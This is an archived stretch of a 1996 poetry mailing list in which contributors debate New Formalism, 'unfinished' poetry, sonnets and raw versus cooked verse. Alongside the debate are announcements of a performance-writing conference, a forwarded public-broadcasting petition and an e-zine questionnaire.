Are there some connections between reaching a "mainstream" audience, the kind of "official" (pseudo?) notice & canonization Mark's talking about, and formal & rhetorical "finish"? I'm thinking not only of Mark's post but of Chas. Alexander's comments about Jeffers/Olson etc. The New Formerlists call for more "finish" - and Jeffers too displayed much formal/rhetorical flourish & finish - but ironically it also "finishes" them, at least for a certain readerly audience (i.e. Charles demoting Jeffers to a "regional" writer). Olson, on the other hand, seems to relish the notational, the marginal, the unfinished, the incomplete - the ragbag - and I think this exerts both an artistic and political pull on readers in the future - readers as interpreters of dark, unfinished speech;

readers as participants in unfinished projects; readers as political participants in unachieved communities... There's plenty of e*x*p*e*r*i*m*e*n*t*a*l work that displays high polish & finish - but according to rules & rhetoric not easily grasped. Then, there's multilevel work - four-fold allegory, for example - with a surface narrative - a surface finish - which if you don't interpret through, leaves you high dry & reified on the surface. (Maybe Frost played at this, in a sometimes heavy-handed way.) Hermeneutics is the sister of Poetics; without her, it's all Medusa-reified.

New name for avant-garde or experimental - Unfinished Poetry? (two branches - Unfinished Young Informalists; Unfinished Coterie Formalists)...

Henry Gould

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637. **Henry Gould**
Re: EPR
Wed 27 Mar 1996

On Wed, 27 Mar 1996 11:59:09 +0400 Chris Semansky said:
>Has anyone tried (successfully) to e-mail _Electronic Poetry Review_ . I
>keep getting a "host unknown" response to the two addresses listed in
>recent posts.
>

Yes - but you have to add "edu" at the end of the address she gave, ...uiowa.edu

HG

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638. **Michelle Roberts**
Re: EPR
Wed 27 Mar 1996

NO. I just tried to email ERP not five minutes ago, and the post was returned. I have no idea what the problem is. I posted to the swiggart address. Did you?

More Luck,
M.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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639. Michelle Roberts
Re: AWP Chronicle, discussions of form
Wed 27 Mar 1996

HI, it seems I have an oppurtunity to enter this discussion. I happen to study with Dr. Turner from time to time here a UTD. He and I disagree on the vitality and the politics of the New Formalism. My attitude in conversation with him has been, "Well, ok, but there are lots of textures *out there* in the world that highly polished and formal poetry won't *jive* with. Sonnets, for instance, describe and assume an orderly universe, and orderly and relatively uncontested social order.

Fred's ideas about formalism arise from the context of an entire social project which he descirbes to my dissatisfaction in -The Culture of Hope- which is basically that the Englightenment was right,and we got it wrong, so let's go back. This is a gross and unfinished representation of his argument, but if anyone's curious about it I could try to represent Fred, or I could turn him on to the list for a while.

Lastly, I'm not even too thrilled that the avant garde has a name at all; that name is a convenient tag which allows its diserate projects, modes, goals and textures to be lumped together and dismissed. I'd rather we had to talk about one poet, painter, sculptor, etc at a time and really do the work of adressing the work.

Hoping to hear,
M.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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640. Charles Alexander
Re: EPR
Wed 27 Mar 1996

me, too, i.e. no success in getting the e-mail through. where's the pony express?

charles

> *Has anyone tried (successfully) to e-mail _Electronic Poetry Review_ . I keep getting a "host unknown" response to the two addresses listed in recent posts.*
>
> *chris s.*

> **********
> *"The current state of knowledge can be summarized thus: In the beginning there was nothing, which exploded." -Terry Pratchett*
> **********
> *Chris Semansky*
> *Campus Writing Program*
> *325 General Classroom Building*
> *University of Missouri-Columbia*
> *Columbia, MO 65211*
> [redacted]
> *http://www.missouri.edu/~writcks*
> **********

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641. **Charles Alexander**

Re: AWP Chronicle, discussions of form

Wed 27 Mar 1996

> *Lastly, I'm not even too thrilled that the avant garde has a name at all; that name is a convenient tag which allows its diserate projects, modes, goals and textures to be lumped together and dismissed. I'd rather we had to talk about one poet, painter, sculptor, etc at a time and really do the work of adressing the work.*

I do think we have to talk about each artist, although no work exists without a context, and many times it makes sense to speak of more than one artist at a time and to try to find out how different ones speak to/with each other. This can make for movements, but it doesn't always. It certainly does not make for one united "avant garde" movement; neither is there one united mainstream out from which the avant garde erupts. So I agree and disagree with you. I think there is a danger in speaking about "one poet, painter, sculpture" at a time to then go on to speak of one work at a time and get back into a sort of new critical approach which removes the work of art from the world, and I hope that's not what we want.

Everything I have heard about the New Formalist movement makes me want to be far away from it, although I wonder about what you report as Turner's sense that New Formalism thinks the Enlightenment was right and we got it wrong after that. Just that I believe that any school of thought that truly thinks of the Enlightenment as enlightened in some singular way is reducing that period's complexity. After all, it not only gave us Samuel Johnson's Vanity of Human Wishes, but also Christopher Smart's Song to David and Jubilate Agno, and

Laurence Sterne's Tristram Shandy. And even a lot of reading in Johnson can cause one to question the supposed Reason of this Age.

charles

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642. **Henry Gould**
Re: EPR
Wed 27 Mar 1996

On Wed, 27 Mar 1996 14:08:27 -0600 Charles Alexander said:
>me, too, i.e. no success in getting the e-mail through. where's the pony
>express?
>
>charles
>
>>Has anyone tried (successfully) to e-mail _Electronic Poetry Review_ . I
>>keep getting a "host unknown" response to the two addresses listed in
>>recent posts.

--Add "edu" to end of address. I.e. [redacted] Worked for me. - Henry Gould

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643. **Eryque Gleason**
(Fwd) PBS, NPR (National Public Radio)
Wed 27 Mar 1996

I think this has already been circulated around here, i remember signing a similar petition a month or so back, but my name wasn't on here, so it's going around again...

eryque

> *Public Broadcasting Petition*
>
> *PLEASE read, sign, and forward*
>
> *PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, the government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as "unworthwhile".*
>
> *Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in*

total.
A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans
wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.

Each year, the Senate and House Appropriations commitees each have 13 subcommitees with jurisdiction over many programs and agencies. Each subcommitee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1.

In the instance of the Corporation of Public Broadcasting, the bill determines the funding for the next three years. When this issue comes
up in 1996, the funding will be determined for fiscal years1996-1998.

The only way that our representatives can be aware of the base of support
for PBS and funding for these types of programs is by making our voices heard. Please add your name to this list if you believe in what we stand
for. This list will be forwarded to the President of the United States, the
Vice President of the United States, and Representative Newt Gingrich, who
is the instigator of the action to cut funding to these worthwhile programs.

If you happen to be the 50th, 100th, 150th, etc. signer of this petition,
please forward a copy to [redacted]*. If that address is*
inoperative, please send it to [redacted]*. This way we*
can keep track of the lists and organize them. Forward this to everyone you
know, and help us to keep these programs alive.

Thank you.

---

1. Elizabeth Weinert, student, University of Northern Colorado, Greeley, CO
2. Nikki Marchman, student, University of Northern Colorado, Greeley, CO

3. Laura King, Salt Lake City, UT
4. Mary Lambert, San Francisco, CA
5. Sam Tucker, Seattle, WA
6. Steve Mack, Seattle, WA
7. Stacy Shelley, Sub Pop Records, Seattle, WA
8. Kerri Harrop, Sub Pop Records, Seattle, WA
9. Christopher Langkamp, Crustacean Records, Milwaukee, WI
10. Todd Streicher, Flyswatter Inc., Madison, WI
11. David Beining, Explora Science Center, Albuquerque, NM
12. Tracy Dingmann, writer, Albuquerque Journal, Albuquerque, NM
13. Johnny Snyder, mathematician, University of NM
14. Paul M. Bennett, mathematician, University of New Mexico, Albuquerque, NM
15. Nicolas Robidoux, mathematician, University of New Mexico, Albuquerque, NM
16. Laura Ring, Research Analyst, Div. of Gov. Research, UNM, Albuquerque, NM
17. Leonard Plunkett, Career Resources, Career Services, UNM, Albuq, NM
18. Bart Norman, Career Services, UNM, Albuqu. NM
19. Louise Edwards, Career Services, UNM, Albuq. NM
20. Lynne A. Sampson, MPH, Emory University, Atlanta, GA
21. Jennifer Doherty Mitra, MS, University of Illinois at Chicago, Chicago, IL
22. Dan Doherty, M.D. Ph.D. student, UCSF Medical School, SF, CA
23. Taara Eden Hoffman, Publicity & Promotions Director, Wired Magazine
24. Allison Moseley, Foreign Circulation, Wired Magazine
25. Kristina Pappas, IDG Books Worldwide Inc.
26. Sam Tucker, Progressive Networks, Inc.
27. Holly Baldwin, Boalt Hall School of Law, UC Berkeley
28. Erik Wieland, Stanford University
29. Geoff Pitfield, LMI
30. Kristin Burns, Administrator, Stanford University
31. Sean Burns, Manager, Fontana's Italian, Menlo Park, CA
32. Karen Anderson, Marketing, Klutz Press
33. Tom Borthwick, Editorial Tester, Scholastic Inc.
34. David Borthwick, math professor, Univ. of Michigan
35. Peter de Boor, musician, Ypsilanti, MI
36. Carl de Boor, mathematician, Madison, WI
37. Paul Nevai, Dept. Math., The Ohio State University, Columbus, OH 43210
38. Larry Hatfield, Mathematics Education, The University of Georgia, Athens, GA 30602
39. John Olive, Mathematics Education, The University of Georgia, Athens, GA 30602
40. John Benson, Mathematics Teacher, Evanston Illinois, 60202
41. Lesley Williams, Librarian, Evanston Illinois, 60201

> *42. Gordon Hazen, engineering professor, Northwestern University, Evanston*
> *IL 60208*
> *43. Marilyn Justman, consultant, Evanston, IL 60202*
> *44. Bennett C. Weaver, consultant, Oak Park, IL 60302*
> *45. Harvey S. Millman, technical writer, Evanston, IL 60202*
> *46. Kristen R. Stenglein, technical writer, Des Plaines, IL 60016*
> *47. Joe Amato, English professor, Chicago, IL 60615*
> *48. Kassie Fleisher, English professor, Chicago, IL 60615*

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644. **Michael Boughn**
Jeffers and Spicer
Wed 27 Mar 1996

It was actually Spicer who led me to Jeffers:

> A redwood forest is not invisible at night. The blackness covers it but it covers the blackness.
>
> If they had turned Jeffers into parking lot death would have been eliminated and birth also. The lights shine 24 hours a day on a parking lot.

True conversation is the effort of the artist and the private man to keep things true. Trees and the cliffs in Big Sur breathe in the dark. Jeffers knew the pain of their breathe and the pain was the death of a first-born baby breathing.

> Death is not final. Only parking lots.
>
> --from "Thing Language"

Mike
[redacted]

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645. **cris cheek**
Performance Writing Conference / Dartington 12-14 April
Wed 27 Mar 1996

Performance Writing Conference

April 12-14 at Dartington College of Arts (Devon)

Public Performances:

Alaric Sumner - 'Error Studies'
Ronald Fraser-Munro - 'Bruder, C'est Grim' / ' Le Monde
du Pen and Ink'
SuAndi - 'The Story of M'
Readings with cris cheek / Caroline Bergvall / Aaron Williamson / Cherry Smyth / Anthony Howell / Drew Milne
/ Jean 'Binta' Breeze

Conference Papers:

Matthew Goulish (Goat Island) - 'Five Short Lectures on Performance Writing'
Tim Etchells (Forced Entertainment) - 'New Instructions
for Ghost Writers'
Cherry Smyth - 'Visual Translations: Art History Extended'
Susan Croft - 'Dreaming New Forms'
Drew Milne - 'Susan Howe and the Visual Performance of
Writing'
John Cayley - Cybertext and the Performance of (Plastic)
Literary Objects'
Heiner Goebbels - 'Opening the Text - Composition & the Spoken Word'
John Hall - 'On Grammar & Performance Writing'
Steve Baker - 'Flying, Stealing: Cixous, Words and

Things'

Panel Sessions:

Live Writing - Chair: Claire MacDonald
Hybrid Writings/ Hybrid Identities -
Chair: Andrea Phillips
Writing, Materiality and Technology -
Chair: Andrea Phillips
Spoken Texts/ Written Speech - Chair: Rod Mengham

Additional events during the Conference:

% cris cheek (writer-in-residence) will make interventions, provocations and broadcasts during the symposium as a whole (from the Research Unit)

% The Vault of Language: an exhibition of performance writings in various media curated by cris cheek with Brigid McLeer and Sally Tallant (Ship Studio). A catalogue is available price #1.50.

% Itinerant Texts: an exhibition of new work for slide projection by 12 artists commissioned by Book Works (London) - (Studio 2)

% The Dartington Collection and Archive at High Cross House - open to Conference participants. (Saturday and Sunday 14.00 -18.00 hrs)

% Book and Information Stall (Lower Close Foyer)

% Richard Povall will be constructing and running a Performance Writing Web-Site during the Conference and cris cheek will be providing guided tours to Internet sites of interest to performance writers. (Research Unit)

% Jools Gilson-Ellis and Richard Povall will be demonstrating their ACE funded interactive CD-Rom project 'Mouthplace' over the weekend.

% Susan Croft and Michael Macmillan of MMU will talk about the ACE commissioned 'Live Writing' report.

% Ben Paine and John Deeney will talk about the New Playwrights Trust 'Writing Live' report commissioned by LAB.

****

Between Wednesday 10th April and Friday 12th April there are workshops (still a very few places available) with the following practitioners:

Jean 'Binta' Breeze
Mary Lemley
Mike Pearson
Fiona Templeton
Aaron Williamson & Tertia Longmire

workshop showings will form part of the conference weekend.

there will be conference bulletins during and after and the opportunity for others who can't attend to contribute via these electronic media

until then
love and love
cris

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646. Ken Edwards
Barry MacSweeney
Wed 27 Mar 1996

There have been a few -- too many -- announcements of poets' deaths on this list recently. It's a pleasure to report on a poet's coming back to life.

Barry MacSweeney gave his first reading in some years last night (27 March), at the Three Cups, London, in the SubVoicive reading series. To say Barry has been unwell recently is something of an understatement -- he has been struggling with his alcoholism, and has been reportedly and on his own admission close to death. But he's fighting back, and last night's reading counts as a triumph.

Looking thin and somewhat fragile, he nevertheless delivered a robust, courageous and moving reading from his unpublished Book of Demons (I think it's called) and from Pearl, recently published by Equipage -- revealing that his linguistic inventiveness and energy are undiminished. He got warm and heartfelt applause from the audience of about 30 or so.

Barry's Trigram Press book Odes (1978) was for me one of the defining moments in the new British poetry. Other books include Black Torch (1978) and Ranter (1985).

The supporting act was Peter Manson, an excellent young Scottish poet and the co-editor of Object Permanence, one of the most interesting mags in the UK today. I hope there'll be a book on its way from him.

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647. Maria Damon
Re: AWP Chronicle, discussions of form
Wed 27 Mar 1996

re: "unfinished"ness --this is precisely what i find exciting about much poetry that is not taken seriously by either New Formalists or, judging from the thematics of list discussions, many folks on the POETRICKS list. open mikes, slams, topical poetry, and micro-poetries that abound in households, neighborhoods, therapeutic venues, and various dissident traditions often seem, to formally trained folks, to lack "finish" or sophistication. cf our recent "charmingly naive" discussion. this is part of their power. it's a strength, as i see it, an

opening to the reader's engagement, in the way that a line of conversation in "unfinished" in that it actively anticipates particpation rather than rapt consumption. --mari a d

↑ Index

648. **Maria Damon**
Re: query abt stein/toklas
Wed 27 Mar 1996

---

thanks everyone, for all the response. it's all central to my thinking along these many crisscrossing and spiraling lines. my own sense is that Stein was deeply opposed to a sense of Jewishness as a "race" that had to have a "nation," as Reverie of a Zionist makes clear. she felt, of course, that such a position limited her autonomy, her freedom of choice to construct her own id/entity (the concept of identity itself was one she challenged very deeply). hwoever, the way i read that piece is that she makes a case ("This is an expression of Shem") for her opposition to a race-based argument --she's very much in line with "progressive" Jewish social scientists at the time like Melville Herskovitz, Maurice Fishberg, etc --being a legitimate way to "be Jewish." As charles b and i have discussed, I take her discomfort with "identity" as an essential characteristic to be, arguably, in line with a Jewish intellectual tradition (not an essential biological Jewish trait, obviously) of challenging fixed discourse. md

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649. **David Baratier**
Re: AWP Chronicle, discussions of form
Wed 27 Mar 1996

Mark: I think the question isn't "why aren't the marginalized advance-guarde better represented in AWP" but rather "why do we as writers return to the same journals and expect different results?"Can't say I ever bought a good vegetarian meal at McDonalds. Since I know what kind of material to expect, that rarely bothers me. Instead, what I found annoying in this article were the lapses in logic, such as the statement that "language (should) become more than the sum of its ordinary parts." As if this bears relevance to the specific instance of formal poetry, as if the ordinary parts of the phoneme and morpheme or of whole words really control the sucess of the piece. THERE ARE NO ORDINARY PARTS, unless of course they had chosen an awful piece.> The effect of the Operator implying the unsaid through sound, page-placement, line break, etc. are all unordinary parts, that is to say they are parts specifically chosen for the piece with the utmost scrutiny.

Dictators never jail literary critics - Simic

David Baratier

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650. **Jerry Rothenberg**
Re: AWP Chronicle, discussions of form
Wed 27 Mar 1996

Regarding "unfinished poetry," why do I remember from some years back a distinction being made, using Levi-Strauss's terms, between raw & cooked poetry? Was it me? was it someone else? was it just a dream? Clearly we were on the side of raw poetry -- on the side, that is, of the gods -- or were we?

Jerome Rothenberg

ps. A "formalism" that's blind (or deaf) to the work of (let's say) Jackson Mac Low wouldn't know order from chaos or would restrict it to the trivia of ABAB or its variations. But that discussion is -- & always has been -- a dead end.

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651. **M. Magoolaghan**
Re: caveat webber
Wed 27 Mar 1996

On Wed, 27 Mar 1996, Tenney Nathanson wrote:

> *Mike Magoolaghan--*
>
> *your interesting looking www page (which I found through Alta Vista, an amazing search engine) has now crashed my computer twice (each time I've tried to load the page: one of those serious Windows 3.1 major GPFs that dumps you right back into cold unadorned reality).*
>
> *Is anyone else having this problem?*
>
> *or, Mike: what I ever do to you?*
>
> *best,*
>
> *Tenney*

Hi Tenney, nice to hear from you. No, I haven't had anyone else complain about this, but I'll look into it. You (or anyone else) have any idea what might be causing such problems? I'm still pretty much a novice at this webpage thing--never realized you could crash someone else's computer at such distances! Hope the damage/inconvenience was minimal.

Thanks for the alert,
MM

^^^

subjecting RJ to the rigors of poststructuralism, deconstruction, etc--and he can handle it! indeed, to me it seems that his work fairly cries out for it. i gave a paper at RMMLA this fall on inhumanism and feminism, and it went over quite well, if i do say so myself.

there is a robinson jeffers assotiation, and soon to be a refereed _jeffers studies_ journal. we hold an anual international jeffers conference--was at occidental this year, i think back at carmel again next year. there is a jeffers list, and should anyone be interested, send mail to <[redacted]@unr.edu>. current jeffers scholars include tim Hunt, Robert Zaller, Bob Brophy, David Copeland Morris, Terry Beers--and a host of "new blood" such as myslef, Peter Quigley and David Rothman. there will be a RJ panel at this year's ALA (San Diego) should any of you be in the area and interested.

some surface stuff, i know--but evidence of his remainig inport in the modern poetry world--although i think i would have to argue that RJ is antimodern--!

best,
shaunanne

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654. Schuchat
Re: nea creative writing fellowships
Thu 28 Mar 1996

Except for John Koethe (whose work I haven't read in 15 years, but which I recall I liked) I have never heard of any of the recipients (or half of the panel, for that matter). am I out of it or what?

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655. R I Caddel
Re: Barry MacSweeney
Thu 28 Mar 1996

Happy to echo Ken's pleasure in the resurfacing of Barry MacSweeney, and to plug PEARL once more as I did when it appeared last year:

> ... I in
> worry eat my fist, soak my sandwich
> in saliva, chew my lip a thousand times
> without any bought impediment. Please
> believe me when my mind says and
> my eyes send telegraphs: I am Pearl.
> So low a nobody I am beneath the cowslip's
> shadow, next to the heifers' hooves.

I have a roof over my head, but none
in my mouth. All my words are homeless.

- And to say how important his "Odes" were to me too, and how well they read now. Barry's work's always changing, developing in ways which delight me, and I hope he continues to mend.

His recent Subvoicive reading may be his "first reading in some years" in London, but I'm pleased to say that he gave great readings in the Northeast at least twice last year, both at Newcastle's Morden Tower. One of these was the Bunting Centre's memorial for Eric Mottram, where Barry read chunks of Pearl, ansd was accompanied by Tom Pickard, Bill Griffiths, and yrs trly.

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

656. **Gwyn McVay**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

WOW! What great books!!! I am reading yours & Kim's & Nichol's in turn, in random bits--I think bp would have approved. More soon.

Gwyn

↑ Index

657. **Gwyn McVay**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

Mark, all I can say re the AWP Chronicle is--send us articles. I can't get anything about querzblatz poetics in there if nobody sends us anything. (Now trying to persuade my boss to run Joe Amato's piece.) I work at the Chronicle. I like querzblatz poetics. Send the articles and interviews directly to me. I promise to argue for them. I have had all the usual suspects up the ying-yang, too.

Gwyn McVay

↑ Index

658. **Gwyn McVay**
blush
Thu 28 Mar 1996

Argh! Ignore last message, which was meant for Charles Alexander, not the whole list. Still mastering Netscape.

<<blush>>

↑ Index

659. **Henry Gould**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

On Wed, 27 Mar 1996 13:42:23 -0600 Michelle Roberts said:
> Sonnets, for instance, describe and assume an orderly
>universe, and orderly and relatively uncontested social order.

Really? Seems to me the benchmark in sonnets in english, Shakespeare's, celebrate, mourn, ironize, a breakdown in relations between women/men. They show a social order based on "games people play" and how these games self-destruct. They start with these avuncular advisements of an elderly gent to a handsome young man to "be fruitful and multiply" & disintegrate from there. The only standard still standing at the end is "love" - but love with a shady meaning.

I think forms can be turned in any direction you want. But M. Damon's remarks on the struggle between "finish" & "unfinished" focus on something that has been true for a long time (let's say, back to the beginning of scribes), & D. Baratier's Simic quote (Dictators don't jail critics) is clever about these age old power/prestige/finish questions. Poets are unacknowledged legislators when they connect with an audience; critics are acknowledged legislators when they connect with publishers. Then there are your poet-critics, who are dictators who somehow avoided a jail term. ("Le Sonnette, c'est Moi")- Hank Gould

↑ Index

660. **Henry Gould**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

On Wed, 27 Mar 1996 15:47:47 PST Jerry Rothenberg said:
>
>ps. A "formalism" that's blind (or deaf) to the work of (let's say) Jackson
>Mac Low wouldn't know order from chaos or would restrict it to the trivia

>of ABAB or its variations. But that discussion is -- & always has been -- a
>dead end.

Agreed that such restrictions would trivialize ABAB or its variations; but if you say ABAB or its variations are in themselves trivial, I must say with much rawness that you are either a literary critic or a dictator! - Henry Gould

↑ Index

661. **george hartley**
Howe grafts
Thu 28 Mar 1996

Hi--does anyone have anything of interest that you could paste into an e-mail message and send to me concerning Susan Howe, her work, her teaching, her Emily Dickinson, and so on?

I'm introducing her this Sunday afternoon at the Wexner Center in Columbus (she's talking about visual Emily) and I'd like to do some kind of grafting exercise, cutting & pasting from various sources, if I have time to pull it off.

If anyone has anything & can send it by Sat morning, I'd be grateful & happy.

Thanks for your help.

George Hartley

↑ Index

662. **Daniel Bouchard**
borders and wobblies
Thu 28 Mar 1996

You won't be hearing over your local Borders intercom system, "Fellow Worker, please pick-up line one" anytime soon. The Philadelphia Borders booksellers voted not to unionize with the IWW yesterday (25 to 20, I hear). That's all I know.

[redacted]

↑ Index

663. **Chris Stroffolino**
Re: borders and wobblies
Thu 28 Mar 1996

DAMN---about the uNION vote!

↑ Index

664. **Michael Davidson**
Re: query abt stein/toklas
Thu 28 Mar 1996

but Maria, so many modernists felt discomfort with "identity" that I wonder if you can hang it on Jewish cultural and social origins. This would make T.S. Eliot and Henry James honorary Jews. There's an equally compelling argument for making such discomfort a response to modern commodity culture in general, the city as "shock," the commodity as objectifier, against which the individual constructs a separate, disinterested field. One could also make the argument that her inheritance of German transcendentalist philosophy, from Kant to Whitehead, encouraged the same kinds of opposition to "identity" and hence to a world of affective, emotional ties. In fact it was precisely this kind of gemeinschaft association of Jewish culture that Pound so vilified ("intravaginal affections," I believe was his phrase). But I would agree with you that Stein would not have approved of a nation-based notion of race, on the Zionist model, and that it would have had more to do with cultural traditions.

P.S. One "take" that would support your view would be to look at Simmel's "Metropolis and Mental LIfe" where he makes the same argument about individual identity being purchased as a defense against the confusions of the city. And he was a Jew writing very much at the same time as Stein.

best,

md

At 05:18 PM 3/27/96 -0500, you wrote:
>thanks everyone, for all the response. it's all central to my thinking along
>these many crisscrossing and spiraling lines. my own sense is that Stein was
>deeply opposed to a sense of Jewishness as a "race" that had to have a
>"nation," as Reverie of a Zionist makes clear. she felt, of course, that
>such a position limited her autonomy, her freedom of choice to construct her
>own id/entity (the concept of identity itself was one she challenged very
>deeply). hwoever, the way i read that piece is that she makes a case ("This
>is an expression of Shem") for her opposition to a race-based argument
>--she's very much in line with "progressive" Jewish social scientists at the
>time like Melville Herskovitz, Maurice Fishberg, etc --being a legitimate
>way to "be Jewish."   As charles b and i have discussed, I take her
>discomfort with "identity" as an essential characteristic to be, arguably, in
>line with a Jewish intellectual tradition (not an essential biological Jewish
>trait, obviously) of challenging fixed discourse.
>md
>

>
Michael Davidson

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665. **Chris Stroffolino**
Re: query abt stein/toklas
Thu 28 Mar 1996

Kevin Killian-- you might want to look at the argument in one of those early sulfurs (circa #12 or something) where (Riding) Jackson coins the term J=E=W=I=S=H=N=E=S=S....

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666. **Sheila E. Murphy**
E-Zine Questionnaire - Request
Thu 28 Mar 1996

>Leilani Wright has asked me to forward this questionnaire to participants on this list, in the hope that some of you may see fit to respond. Leilani will be making a presentation about electronic magazines at this April's AWP Conference. Responses to this questionnaire will provide a foundation for her examination of reader response to a selection of electronic publications. Leilani has examined more than 80 journals, and is seeking to hear from readers of these e-zines.
>
>Those who participate will receive the following:
>
>1. The list of e-zines and URLs accumulated as part of Leilani's study
>2. Summary of the presentation
>
>SPECIAL NOTE: Those of you wishing to participate, please forward your responses to Leilani Wright at the following address:
>
>[redacted]
>
>
>DO NOT REPLY TO THIS LIST OR TO ME.
>
>Thanks in advance.
>
>Sheila Murphy
>

>
>>
>>QUESTIONNAIRE FOR CONTRIBUTORS AND READERS
>>OF LITERARY E-ZINES
>>
>>
>>1. Have you published any of your work in electronic literary
e-zines? If
>>so, please name one or two that you recommend and tell me why you de-
cided to
>>submit work to them.
>>
>>2. Do you regularly or sometimes read any literary e-zines? Please
>>recommend 1 or 2 only and tell me why they interest you.
>>
>>3. What do you feel are the main advantages of reading and/or publishing
>>in e-zines? What are the personal and professional benefits?
>>
>>4. In contrast to #3, what do you feel are the disadvantages?
>>
>>5. As a contributor to e-zines, have you experienced any conflicts or
>>problems with e-editors, e-readers, print editors, plagiarists, etc.? Any
>>copyright problems? If so, please relate the details and how the issue was
>>resolved.
>>
>>6. Do you feel that the electronic medium is influencing e-editors to
>>publish certain kinds (shapes, forms, genres, styles, etc.) of poetry,
stories,
>>reviews or creative non-fiction? If you have noticed such a tendency or
trend,
>>please describe it.
>>
>>7. Frankly, do you really think people are reading any of these e-zines?
What
>>do you think of e-zine quality when compared to print journal quality?
>>Please name 2 literary e-zines that you think are of high quality.
>>
>>8. What do you envision the future of e-zine publishing to be in 5 years?
>>20 years? Do you think that e-zines will replace the prints in the future?
>>Will they complement each other? Or will they be separate but equal?
>>
>>9. Are you confused or troubled by current digital copyright issues? How

>>are you protecting yourself when publishing on-line?
>>
>>10. Do you feel that your exposure to e-journals has changed the way you
>>read creative work and/or write your poems and stories?
>>
>>==========
==========
>>
>>Thank you very much for slogging through these 10 questions. Please let
me
>>know if there is a question I should have asked but didn't.
>>
>>
>>
>> Leilani Wright--==--==--<*^*>--==--==--Mesa, Arizona
>> [redacted]
>>
>>
>>

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667. **David Baratier**

Re: AWP Chronicle, discussions of form

Thu 28 Mar 1996

On the Sonnet: Where does one arrive at the idea of the sonnet assuming an orderly universe and relatively uncontested social order? Especially in the modern context, but also in the built in traits of the form. Whether it's Shakespeare or Spenserian rhythm patterns, there still is a turn in the European or Italian placement which is designed to bring the reader to a re-imagining and re-fashioning of society. Holy Sonnet #10 was revolutionary, that Donne could bring any audience to affirm denying destiny during a hierarchical society whose daily focus centered around the wheel of fortune. This effect may not be apparent in the present and therefore might seem to leave the social order relatively uncontested yet these are effects of time, not of intention or reception.

Applying this same frame of the how the "orderly universe" is reflected in recent instances of the sonnet, the reflection becomes one of pure opposition. Berrigan's caesural tensions, Mayer's reclaimation of the sonnet from a purely masculinist form, Hoover's injection of humor, and Berryman's rejection and destruction of the form throughout the Dream Songs.

There is where listening happens, unaware
Blending into attention.
-- Jorge Guillen

[redacted]

↑ Index

668. **Jordan Davis**
raw and cooked
Thu 28 Mar 1996

Before they took her off of the book beat and put her on the theater beat, Margo Jefferson reviewed (in one article) books by Joseph Ceravolo and Stephen Sandy for the New York Times. She argued that Ceravolo's poetry was raw, and Sandy's was cooked, and then she said that she preferred the cooked. It seemed like an extraordinary thing to say. Of course it was extraordinary that Ceravolo would be reviewed in the Times at all.

This does _not_ mean that things in the businesses of poetry, newspapers or anthropology are in a bad way.

What seems to be developing among younger writers (come to the Poetry Talks) is an alternative, a quertblatz poetry that borrows heavily from several conservative traditions, and is unironic about that borrowing. These writers seem to want to learn how to cook. And why not? Cooking preserves, and a good cook can take so-so food and make it delicious. Good cooks always use the freshest possible goods. Who among you does not enjoy a well-cooked meal.

Now it may be asked, isn't it conservative to cook. Yes, it is conservative to cook. It is, traditionally, a woman's job, or a servant's job, or an invisible person's job. Is it macho to eat raw. Maybe. It is exciting. Probably the mistake is to look at anthropology as describing states of advance and primitvism, and likewise, to look at the historical development of poetry as producing ever greater examples of the same kind of poetic effect. Generally, both these errors have led to gorgeous incoherent monsters.

Post-language and pre-destination,
Jordan

↑ Index

669. **Joe Amato**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

in response to this question of raw/cooked raised by maria and others: i'm all for keeping an open mind about form, performance, bringing poetry to the public, and the public to poetry... but my reservations about, say, some of what i've seen go down at slams here in chicago have to do with the sort of cultural backdrop we've developed for all such public performance, the extent to which it's become entertainment/spectacle, the sort of work---and i think there IS a sort---that tends most toward receiving a positive reception...

it's not that i distrust the public as such (which is not to say the masses as such---i am entirely comfortable with popular culture)... what i don't distrust are the mechanisms that have been developed for valuing and revaluing such work... as i see it, to understand these mechanisms is to understand how our various media have constructed audiences lo this past quarter or half-century or so... it's not that i don't see great potential at slams, or occasionally great performances, or good (to borrow from maria) "household" work... it's that a lot of what i DO see is terrible---not ill-formed or unfinished, but designed to appeal to some rather basic audience impulses... the yield is often a sensationalistic and/or immediately accessible work that often depends on an overwrought, theatrical delivery... poets chewing the scenery, as it were... and i'm not the type who's at all opposed to emotional readings, and i'm also not the type who enjoys hearing my and other folks' bellies gurgle during reverential readings in the hallowed halls of academe...

i raise this w/o ire, and in the spirit of trying, as john fowler once so wisely corrected me, to try to keep an open mind about my practice... i guess it's my passion, writing poetry... which always risks that elitist problem discussed hereabouts a while back... but while i can understand the legitimacy of all sorts of language communities, incl. slams, performance poetry (per se), homebrews, and so forth, and while i think it essential to cultivate as much diversity in this regard as possible, i do *feel*, inside me, a resistance NOT to more popular or orthodox poetic forms, but to the assumption that popularizing such popular forms is ipso facto contributing in a meaningful way to meaningful reform or advance in the poetic arts... which are, as i see it, so in need in so many ways of cultural revitalization...

joe

↑ Index

670. **Charles Alexander**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

